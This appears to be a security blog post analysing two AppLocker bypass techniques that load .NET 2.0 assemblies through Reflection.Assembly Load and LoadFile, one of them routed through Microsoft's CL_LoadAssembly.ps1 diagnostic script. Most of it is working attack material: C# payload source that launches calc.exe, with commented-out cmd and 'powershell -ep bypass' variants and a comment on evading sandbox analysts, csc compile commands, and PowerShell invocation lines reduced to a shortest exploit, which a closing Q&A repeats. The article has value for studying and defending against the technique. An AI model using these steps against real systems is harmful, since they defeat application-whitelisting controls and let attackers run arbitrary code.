Analysis and Summary of Bypassing AppLocker Using Assembly Load & LoadFile

Onedaysec
3 min read
0 views
Analysis and Summary of Bypassing AppLocker Using Assembly Load & LoadFile — One Day Sec default thumbnail

0x00 Preface

---

Recently, bohops introduced a method to bypass AppLocker using CL_LoadAssembly.ps1 in the article "Executing Commands and Bypassing AppLocker with PowerShell Diagnostic Scripts," a technique also mentioned by Casey Smith as early as SchmooCon 2015. This article will reproduce both of their implementation methods, analyze the details, compare the differences, and summarize the exploitation approach.

0x01 Introduction

---

This article will cover the following:

  • Reproducing bohops' method
  • Reproducing Casey Smith's method
  • Detailed analysis
  • Summary of exploitation approach

0x02 Reproducing bohops' method

---

Test system: Win7 x86

AppLocker enabled. For enabling methods, refer to the article "Bypass Windows AppLocker"

Development tool: VS2012

1. Create a new C# console project ConsoleApplication5, default code as follows:

using System;
using System.Collections.Generic;
using System.Text;

namespace ConsoleApplication5
{
class Program
{
static void Main(string[] args)
{
}
}
}

2. Modify the code as follows:

namespace ConsoleApplication5
{
public class Program
{
public static void test()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
// p.StartInfo.FileName = "c:\\windows\\system32\\cmd.exe";
// p.StartInfo.Arguments = @"/c ""powershell.exe"" -ep bypass -c $host";
p.Start();
}
static void Main(string[] args)
{
test();
}

}
}

Note:

Add the access modifier public before class Program, and also add the access modifier public to Method test()

3. Change the target framework to .NET 2.0, compile and generate ConsoleApplication5, save it under c:\6

4. Execute the following code in PowerShell:

cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\6\ConsoleApplication5.exe
[ConsoleApplication5.Program]::test()

Note:

..\..\..\..\ can locate to c:\

[ConsoleApplication5.Program]::test() must correspond to the code within the program, in the format: [$namespace.$class]::$function()

Successfully execute calc.exe, bypassing AppLocker

0x03 Reproducing Casey Smith's method

---

Test system: Win7 x86

Enable Applocker

Code reference address:

https://gist.github.com/netbiosX/5f19a3e8762b6e3fd25782d8c37b1663

This test makes slight modifications to Casey Smith's code

1. Create a new file bypass.cs with the following content:

using System;
using System.Collections.Generic;
using System.Text;

public class Program
{
public static void Main()
{
Console.WriteLine("Hey There From Main()");
//Add any behaviour here to throw off sandbox execution/analysts :)

}

}
public class aaa
{
public static void bbb()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
// p.StartInfo.FileName = "c:\\windows\\system32\\cmd.exe";
// p.StartInfo.Arguments = @"/c ""powershell.exe"" -ep bypass -c notepad.exe";
p.Start();
}
}

2. Compile it using csc.exe version 2.0 to generate an exe file

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:bypass.exe bypass.cs

3. Execute the following code in PowerShell:

$bytes = [System.IO.File]::ReadAllBytes("C:\6\bypass.exe")
[Reflection.Assembly]::Load($bytes)
[aaa]::bbb()

Successfully executed calc.exe, bypassing AppLocker

0x04 Comparative Analysis

---

1. Bohops' method

Load the file CL_LoadAssembly.ps1, located at C:\windows\diagnostics\system\AERO

The content of the file CL_LoadAssembly.ps1 is as follows:

# Copyright © 2008, Microsoft Corporation. All rights reserved.


# Common library
. .\CL_Utility.ps1

function LoadAssemblyFromNS([string]$namespace)
{
if([string]::IsNullorEmpty($namespace))
{
throw "Invalid namespace"
}

[System.Reflection.Assembly]::LoadWithPartialName($namespace) > $null
}

function LoadAssemblyFromPath([string]$scriptPath)
{
if([String]::IsNullorEmpty($scriptPath))
{
throw "Invalid file path"
}

$absolutePath = GetAbsolutionPath $scriptPath


[System.Reflection.Assembly]::LoadFile($absolutePath) > $null
}

Call the function LoadAssemblyFromPath, essentially invoking [System.Reflection.Assembly]::LoadFile($absolutePath)

2. Casey Smith's method

$bytes = [System.IO.File]::ReadAllBytes("C:\6\bypass.exe")
[Reflection.Assembly]::Load($bytes)
[aaa]::bbb()

Invoked [Reflection.Assembly]::Load($bytes)

Note:

[Reflection.Assembly] is shorthand for [System.Reflection.Assembly]

3. Comparison

The two methods use Assembly's LoadFile and Load methods respectively, with minimal practical difference in this context

You can use the LoadFile and Load methods respectively to call the two exes generated by the above two methods (compiled by vs2012 and csc.exe respectively)

The swapped code is as follows:

$bytes = [System.IO.File]::ReadAllBytes("C:\6\ConsoleApplication5.exe")
[Reflection.Assembly]::Load($bytes)
[ConsoleApplication5.Program]::test()

cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\6\bypass.exe
[aaa]::bbb()

Based on the above tests, it can be inferred that the following two code segments are equivalent:

cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\6\bypass.exe

[Reflection.Assembly]::LoadFile("C:\6\bypass.exe")

According to the above inference, we can simplify Casey Smith's exploit code, with the shortest PowerShell implementation as follows:

[Reflection.Assembly]::LoadFile("C:\6\bypass.exe")
[aaa]::bbb()

4. Applicable Conditions

In actual testing, the above two methods are applicable to .NET 2.0; if compiled with .NET 4.0, an error will occur during execution.

0x05 Summary

---

This article tested the methods of bohops and Casey Smith respectively, finding that the essence of the methods lies in using the LoadFile and Load methods of Assembly. Through actual testing, it is concluded that this method is only applicable to the .NET 2.0 environment.

Related Questions & Answers

Can you show the simplest PowerShell one-liner to bypass AppLocker using this technique?

Yes, based on the analysis, the shortest PowerShell commands are: `[Reflection.Assembly]::LoadFile("C:\path\to\bypass.exe")` followed by `[namespace.class]::method()` where the method contains the payload. For example, `[aaa]::bbb()` would invoke the `bbb` method in the `aaa` class to start calc.exe. This eliminates the need to import `CL_LoadAssembly.ps1`. This approach is derived from combining the methods of bohops and Casey Smith as detailed in the [original article](/news/analysis-and-summary-of-bypassing-applocker-using-assembly-load-loadfile).

What are the key requirements to successfully execute this AppLocker bypass?

The primary requirement is that the .NET assembly must be compiled against .NET Framework 2.0; compiling with .NET 4.0 will cause errors. The attacker also needs the ability to run PowerShell commands or import the diagnostic module. The technique exploits the fact that AppLocker does not restrict assembly loading via these methods, allowing code execution from arbitrary file paths. For a deeper analysis of similar bypasses, see [Testing and Analysis of Bypassing AppLocker Using LUA Scripts](/news/testing-and-analysis-of-bypassing-applocker-using-lua-scripts).

How does Casey Smith's bypass method differ from bohops' method?

Casey Smith's method reads the assembly as bytes using `[System.IO.File]::ReadAllBytes()` and then loads it via `[Reflection.Assembly]::Load($bytes)`. This avoids the need for the diagnostic script, but the underlying mechanism is the same: using `Assembly.Load` instead of `Assembly.LoadFile`. The article demonstrates both methods are functionally equivalent and can be simplified to a single `[Reflection.Assembly]::LoadFile()` call. Both techniques are only effective with assemblies compiled for .NET 2.0.

What is the core technique used by bohops to bypass AppLocker?

The core technique is to use the legitimate PowerShell diagnostic script `CL_LoadAssembly.ps1` located in `C:\windows\diagnostics\system\AERO`. The script internally calls `[System.Reflection.Assembly]::LoadFile()` to load a .NET assembly from disk. By providing the path to a malicious .NET executable compiled under .NET 2.0, an attacker can then invoke a public method from the loaded assembly to execute commands, such as calc.exe, bypassing AppLocker restrictions. For full details, refer to the [Analysis and Summary of Bypassing AppLocker Using Assembly Load & LoadFile](/news/analysis-and-summary-of-bypassing-applocker-using-assembly-load-loadfile).

Continue Reading